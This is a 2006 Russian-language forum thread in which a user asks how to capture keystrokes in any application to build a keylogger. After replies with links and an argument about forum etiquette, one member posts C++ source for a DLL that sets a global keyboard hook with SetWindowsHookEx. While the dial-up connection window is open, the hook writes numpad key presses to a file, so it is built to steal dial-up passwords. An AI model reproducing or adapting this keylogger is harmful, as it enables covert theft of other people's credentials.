Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Кейлогер

18K
30 ноября 2006 года
cpPLover
25 / / 30.11.2006
Подскажите каким образом можно перехватывать нажатия клавиш в любом приложении, а не только в моем. Я хачу сделать кейлогер.
294
30 ноября 2006 года
Plisteron
982 / / 29.08.2003
За что же ты так представителей кавказских национальностей не любишь?

Поиск рулит:
http://www.xakep.ru/post/13647/default.asp
http://www.xakep.ru/post/13830/default.asp
http://www.wasm.ru/src/6/skl.zip
http://www.silicontaiga.ru/home.asp?artId=5666
http://www.uinc.ru/articles/zametki/001.shtml
http://bugtraq.ru/library/programming/keylogging.html
18K
30 ноября 2006 года
cpPLover
25 / / 30.11.2006
Спасибо за ссылки, буду читать и разбиратсья =)
Цитата: Plisteron
За что же ты так представителей кавказских национальностей не любишь?

Поиск рулит:


Поиск конечно рулит, но на него уходит мнооого трафика.. У нас в городе с поставщиками услуг инета напряг и поэтому цены на инет довольно большие.. :((

294
01 декабря 2006 года
Plisteron
982 / / 29.08.2003
Цитата: cpPLover
Спасибо за ссылки, буду читать и разбиратсья =)

Поиск конечно рулит, но на него уходит мнооого трафика.. У нас в городе с поставщиками услуг инета напряг и поэтому цены на инет довольно большие.. :((


Ну конечно! Как же я сразу не сообразил? Действительно, зачем тратить деньги на трафик, если можно напрячь других и потратить время других участников форума, оно же бесплатное.

18K
01 декабря 2006 года
cpPLover
25 / / 30.11.2006
Цитата: Plisteron
Ну конечно! Как же я сразу не сообразил? Действительно, зачем тратить деньги на трафик, если можно напрячь других и потратить время других участников форума, оно же бесплатное.


Я же не застовляю искать мне инфу.. кто могёт тот поможет. Ты так описал что можно подумать я тут вас эксплуатирую... Если те жалко трафику, мог бы не помогать. Правда ведь?

294
01 декабря 2006 года
Plisteron
982 / / 29.08.2003
Цитата: cpPLover
Я же не застовляю искать мне инфу.. кто могёт тот поможет. Ты так описал что можно подумать я тут вас эксплуатирую... Если те жалко трафику, мог бы не помогать. Правда ведь?


Мне не трафика жалко. Просто обычно причина, по которой задают вопрос на форуме -- "искал в поисковиках и документашке, но не нашёл", а не "поленился поискать" или "пожалел денег на трафик". Уважать ведь общество надо, к которому с просьбой обращаешься.

4.1K
01 декабря 2006 года
GRIENDERS
117 / / 06.06.2006
Создаешь dll в ней пишешь
Код:
// test dll.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include <fstream>
using namespace std;
#define EXPORT __declspec(dllexport)
HINSTANCE hdll;
HHOOK hhk;
fstream file;

void WritePassword(char simvol)
{
    file.open("c:\\passfile.txt",ios::app);
    file<<simvol;
    file.close();
}

LRESULT CALLBACK KeyProc(int code, WPARAM wparam, LPARAM lparam)
{
    if (code<0) return CallNextHookEx(hhk,code, wparam, lparam);
    DWORD IsDown =!(lparam >>31);
    if ((code==HC_ACTION)  && (FindWindow(0,"Поключение к интернету")) && IsDown)
    {
        switch(wparam)
        {
        case VK_NUMPAD0 : WritePassword('0'); break;
        case VK_NUMPAD1: WritePassword('1'); break;
            // и так далее
        }
    }
    return CallNextHookEx(hhk,code, wparam ,lparam);
}
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    hdll = static_cast<HINSTANCE>(hModule);
    return TRUE;
}

EXPORT void RunHook(bool state)
{
    if (state) hhk=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyProc,hdll,0);
    else UnhookWindowsHookEx(hhk);
}

Потом вызываешь RunHook из exeшника
18K
01 декабря 2006 года
cpPLover
25 / / 30.11.2006
Цитата: Plisteron
Мне не трафика жалко. Просто обычно причина, по которой задают вопрос на форуме -- "искал в поисковиках и документашке, но не нашёл", а не "поленился поискать" или "пожалел денег на трафик". Уважать ведь общество надо, к которому с просьбой обращаешься.


Не поверишь! Я поискал! И нашел этот форум и решил спросить.. Я спрашивал с расчетом не на то что мне дадут ссылки.. а на то что мне обьяснят именно форумчане.

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог